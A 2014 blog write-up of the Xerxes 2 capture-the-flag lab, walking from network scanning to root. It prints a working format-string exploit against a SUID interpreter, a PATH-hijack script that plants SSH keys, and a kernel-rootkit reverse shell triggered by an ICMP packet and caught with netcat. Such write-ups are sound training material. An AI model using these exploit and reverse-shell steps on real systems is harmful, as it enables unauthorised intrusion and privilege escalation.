Tuesday, August 19, 2014

Writeup: Xerxes 2

This is a writeup for the Xerxes 2 boot2root challenge. The objective of this challenge is to read the flag located in /root/flag.txt.

The first step I took was to discover the IP address of the Xerxes machine.

root@kali:~# netdiscover -i eth0 -r 192.168.200.0/24

Currently scanning: Finished!   |   Screen View: Unique Hosts               
                                                                        
2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 120             

 _____________________________________________________________________________

   IP            At MAC Address      Count  Len   MAC Vendor                 

 -----------------------------------------------------------------------------

 192.168.200.2   08:00:27:e2:ca:6c    01    060   CADMUS COMPUTER SYSTEMS     

 192.168.200.4   08:00:27:c3:9d:8d    01    060   CADMUS COMPUTER SYSTEMS

Okay now we have the IP address - 192.168.200.4

Now that I have my target, I find out as much about the target as possible.

root@kali:~# nmap -sS -sV -sC -p- -v -T5 192.168.200.4 -Pn -n

Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-11 19:05 EDT
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 19:05
Scanning 192.168.200.4 [1 port]
Completed ARP Ping Scan at 19:05, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:05
Scanning 192.168.200.4 [65535 ports]
Discovered open port 80/tcp on 192.168.200.4
Discovered open port 111/tcp on 192.168.200.4
Discovered open port 22/tcp on 192.168.200.4
Discovered open port 8888/tcp on 192.168.200.4
Discovered open port 4444/tcp on 192.168.200.4
Discovered open port 42062/tcp on 192.168.200.4
Completed SYN Stealth Scan at 19:05, 6.88s elapsed (65535 total ports)
Initiating Service scan at 19:05
Scanning 6 services on 192.168.200.4
Completed Service scan at 19:06, 11.02s elapsed (6 services on 1 host)
NSE: Script scanning 192.168.200.4.
Initiating NSE at 19:06
Completed NSE at 19:07, 60.06s elapsed
Nmap scan report for 192.168.200.4
Host is up (0.00023s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   1024 7f:0a:0d:81:50:3b:73:15:6b:9c:5e:09:a2:fc:82:91 (DSA)
|   2048 0d:eb:14:6d:b0:c5:eb:fc:84:2d:e8:a2:4e:9f:14:b4 (RSA)
|_  256 c1:ca:ae:c3:5d:7a:5b:9d:cf:27:a4:48:83:1e:01:84 (ECDSA)
80/tcp    open  http    lighttpd 1.4.31
|_http-methods: OPTIONS GET HEAD POST
|_http-title: xerxes2
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          42062/tcp  status
|_  100024  1          42319/udp  status
4444/tcp  open  krb524?
8888/tcp  open  http    Tornado httpd 2.3
|_http-favicon: Unknown favicon MD5: 4E6C6BE5716444F7AC7B902E7F388939
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: IPython Dashboard
42062/tcp open  status  1 (RPC #100024)
...snip...


Okay, looks like we have have quite a few services. I first take a look at the web applications listening on port 80 and 8888. Navigating to http://192.168.200.4 yields the following static page.

http://192.168.200.4/
This page does not seem to provide any useful information. However, the application on http://192.168.200.4:8888 yields a python web application, which executes python code that you submit!

I was quickly able to retrieve a reverse shell by using the python code found here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Executing the python code reverse shell

Setting up a netcat listener and retrieving the remote shell
Okay, this is sweet - I now have access to the machine and I am running as the user delacroix. Hmm, this terminal kinda sucks though, no autocomplete. Since I don't have the creds to SSH in, I generate a pair of keys for authentication.

Now that I have access to the machine, I need to find out as much information about the current user I am running as and the local machine. I usually look at the groups I am part of, SUID/GUID binaries on the machine, world readable/writeable files, etc. Having a look at the /etc/passwd, I can see there is another user named korenchkin. This may be useful later one. Let's see what  else I can find out from performing this reconnaissance exercise.

$ cat ~/.bash_history

..snip...

/opt/bf "<<++++[>++++<-]>[>+++++>+++++>+++++>+++++>++>++++>++++>++++>+++++>++++>+++++<<<<<<<<<<<-]>---->->->----->>++++>+++++>+++++>>+++++>++#"

cp /media/politousb/bf.c .

nano bf.c

...snip...


$ ls -l /opt/bf

-rwsr-sr-x 1 polito polito 6047 Jul 16 12:40 /opt/bf



$ ls ~
bf.c
Untitled0.ipynb
Untitled1.ipynb


It looks like there's some binary that executes Brainfuck. Oh... boy... Additionally, this binary happens to have the SUID bit set for the user polito. This looks like the next promising step to attack. Luckily, we can also see that a copy of the source code for bf is found in delacroix's home directory. Let's take a look.

$ cat bf.c
/* found this lingering around somewhere */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define BUF_SIZE 30000

void bf(char *program, char *buf)
{

int programcounter = 0;
int datapointer = 0;

while (program[programcounter])
{
switch(program[programcounter])
{
case '.':
printf("%c", buf[datapointer]);
break;
case ',':
buf[datapointer] = getchar();
break;
case '>':
datapointer = (datapointer == (BUF_SIZE-1)) ? 0 : ++datapointer;
break;
case '<':
datapointer = (datapointer == 0) ? (BUF_SIZE-1) : --datapointer;
break;
case '+':
buf[datapointer]++;
break;
case '-':
buf[datapointer]--;
break;
case '[':
if (buf[datapointer] == 0)
{
int indent = 1;
while (indent)
{
programcounter++;

if (program[programcounter] == ']')
{
indent--;
}
if (program[programcounter] == '[')
{
indent++;
}
}
}
break;
case ']':
if (buf[datapointer])
{
int indent = 1;
while (indent)
{
programcounter--;

if (program[programcounter] == ']')
{
indent++;
}
if (program[programcounter] == '[')
{
indent--;
}
}
}
break;
case '#':
// new feature
printf(buf);
break;
}
programcounter++;
}
}

int main(int argc, char **argv)
{
char buf[BUF_SIZE];

if (argc < 2)
{
printf("usage: %s [program]\n", argv[0]);
exit(-1);
}

memset(buf, 0, sizeof(buf));
bf(argv[1], buf);

exit(0);
}

Okay, it looks like it's just a regular interpreter for Brainfuck with a new feature -- the ability to print out the buffer. This new feature adds a classic format string vulnerability. How to exploit a format string vulnerability it out of the scope of this blog. Before we get to exploiting, let's check the binary for any security.



Okay, it looks like NX is enabled. It doesn't display it in the screenshot, but ASLR is also enabled. To bypass these protections, I decide to overwrite the printf()'s entry in the GOT table with system(). The trick to this exploit is piping our exploit to the bf program. Each character in our exploit will use a "," for user input and ">" to increment the buffer pointer. Finally, we will trigger the exploit by using "##". The first "#" triggers the exploit, which then overwrites printf's address in the GOT table. The second "#" attempts to call printf(buf) again, but since we overwrote the entry for printf() with system(), system(buf) will be executed instead. The final exploit looks like this:

python -c "print 'sh;#\x48\x9a\x04\x08\x4a\x9a\x04\x08%08180x%17\$hn%08198x%18\$hn'" | ./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,##"

I did have a problem with this though. The shell process would be created, but for some reason automatically close. So to resolve this, I changed the $PATH environment variable to search the /tmp directory first. Then created a file /tmp/sh, which is a  bash script that copies my SSH keys to polito's /home/polito/.ssh folder. You can see the contents of that script below, and a running instance of the exploit.

$ cat sh
#!/bin/sh

mkdir /home/polito/.ssh
cp /tmp/id_rsa.pub /home/polito/.ssh/
cat /tmp/id_rsa.pub >> /home/polito/.ssh/authorized_keys
echo "Copy complete"

$ python -c "print 'sh;#\x48\x9a\x04\x08\x4a\x9a\x04\x08%08180x%17\$hn%08198x%18\$hn'" | ./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,##"
sh;#H�J�0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
.snip...
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Copy complete


Okay, it looks like our SSH key was copied successfully! Let's see what we get...


Awesome, it looks like we're in! Let's take a look in the polito home directory.

polito@xerxes2:~$ ls
audio.mpeg  audio.txt  dump.gpg  polito.pdf

Paying attention only to the relevant parts, dump.gpg and polito.pdf, we have an encrypted file and a pdf file. The audio stuff is a troll LAME audio file which is echoed to port 4444, which we saw in the nmap scan earlier. Let's open up the pdf file:



Interesting... scanning the QR code returns another troll message that says "XERXES is watching...". I spent A LOT of time on this pdf. I inspected the structure of the pdf, adding objects, fixing the XREF table, fixing objects, etc. After a lot of thinking, tinkering and a small hint from @recrudence, I ran the following:

polito@xerxes2:~$ file polito.pdf 
polito.pdf: x86 boot sector, code offset 0xe0

Womp! I should have checked this first. I learned my lesson, lol. Let's go ahead and boot it with qemu.


And there's the password for the dump.gpg file! Decrypting the dump.gpg file yields a massive dump of logs. One of the first things I do with big files like this is grep for certain keywords, which may provide useful information. If we remember, I found another user named korenchkin. So the first thing that came to my mind is to see if anything in the dump was related to korenchkin.

root@kali:~/Desktop/xerxes2/files# cat tmp | grep korenchkin
...snip...
ts/0korenchkin
cat /var/mail/korenchkin 
tar -cvf /opt/backup/korenchkin.tar
openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc
rm /opt/backup/korenchkin.tar
/home/korenchkin0
]0;korenchkin@xerxes2: ~
...snip...

Bingo! Looks like we have the password for an encrypted file in /opt/backup/. Decrypting this file yields a tarball. Inside this tarball are the backup SSH keys for korenchkin. So I can use this to log into the korenchkin account.


Awesome. It looks like this user is in more groups and may be more privileged than the other users. What's even MORE interesting is the result of running the following command:

korenchkin@xerxes2:~$ sudo -l
Matching Defaults entries for korenchkin on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User korenchkin may run the following commands on this host:
    (root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod


This user has sudo rights to insmod and rmmod! The previous two users did not have any sudo privileges. Alright, so I can now load kernel modules. I did some googling and I stumbled upon this awesome kernel module rootkit that returns a shell after a special ICMP packet.

https://github.com/maK-/maK_it-Linux-Rootkit

I quickly downloaded this tool to the korenchkin's home directory and then ran "make" and loaded the module.

korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ make
sh scripts/lets_maK_it.sh
Adding reverse shell script path to template...
/home/korenchkin/reverse-shell-access-kernel-module-master/shells/revshell ...
Adding cleanup script to template...
/home/korenchkin/reverse-shell-access-kernel-module-master/scripts/kill_shell.sh ...
----------------------------
gcc -Wall -m32 -s -o shells/revshell shells/revshell.c
make -C /lib/modules/3.2.0-4-686-pae/build M=/home/korenchkin/reverse-shell-access-kernel-module-master modules
make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
  CC [M]  /home/korenchkin/reverse-shell-access-kernel-module-master/maK_it.o
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /home/korenchkin/reverse-shell-access-kernel-module-master/maK_it.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'

korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ ls
LICENSE   maK_it.c   maK_it.mod.c  maK_it.o       Module.symvers  scripts  template.c
Makefile  maK_it.ko  maK_it.mod.o  modules.order  README.md       shells

korenchkin@xerxes2:~/reverse-shell-access-kernel-module-master$ sudo insmod maK_it.ko 


Now reading the instructions on github about how to get the reverse shell, I started my netcat listening and sent an ICMP packet with the proper message:

root@kali:~# nc -lvp 9001
nc: listening on :: 9001 ...
nc: listening on 0.0.0.0 9001 ...


root@kali:~# nping --icmp -c 1 -dest-ip 192.168.200.4 --data-string 'maK_it_$H3LL 192.168.200.3 9001'

Andddd... I get my reverse shell:

root@kali:~# nc -lvp 9001
nc: listening on :: 9001 ...
nc: listening on 0.0.0.0 9001 ...


nc: connect to 192.168.200.3 9001 from 192.168.200.4 (192.168.200.4) 33276 [33276]
maK_it
/bin/bash shell..
id
 uid=0(root) gid=0(root) groups=0(root)

And all that's left is to read the flag :)

cat flag.txt 
 ____   ___  ____  ___  __ ____   ___  ____     ____     ____   
`MM(   )P' 6MMMMb `MM 6MM `MM(   )P' 6MMMMb   6MMMMb\  6MMMMb  
 `MM` ,P  6M'  `Mb MM69 "  `MM` ,P  6M'  `Mb MM'    ` MM'  `Mb 
  `MM,P   MM    MM MM'      `MM,P   MM    MM YM.           ,MM 
   `MM.   MMMMMMMM MM        `MM.   MMMMMMMM  YMMMMb      ,MM' 
   d`MM.  MM       MM        d`MM.  MM            `Mb   ,M'    
  d' `MM. YM    d9 MM       d' `MM. YM    d9 L    ,MM ,M'      
_d_  _)MM_ YMMMM9 _MM_    _d_  _)MM_ YMMMM9  MYMMMM9  MMMMMMMM 


congratulations on beating xerxes2!
I hope you enjoyed it as much as I did making xerxes2. 
xerxes1 has been described as 'weird' and 'left-field'
and I hope that this one fits that description too :)


Many thanks to @TheColonial & @rasta_mouse for testing!


Ping me on #vulnhub for thoughts and comments!


 @barrebas, July 2014





2 comments:

  1. what is the login id and pasword Xerxes 2...?????

    ReplyDelete
    Replies
    1. Which login id and password are you referring to?

      Delete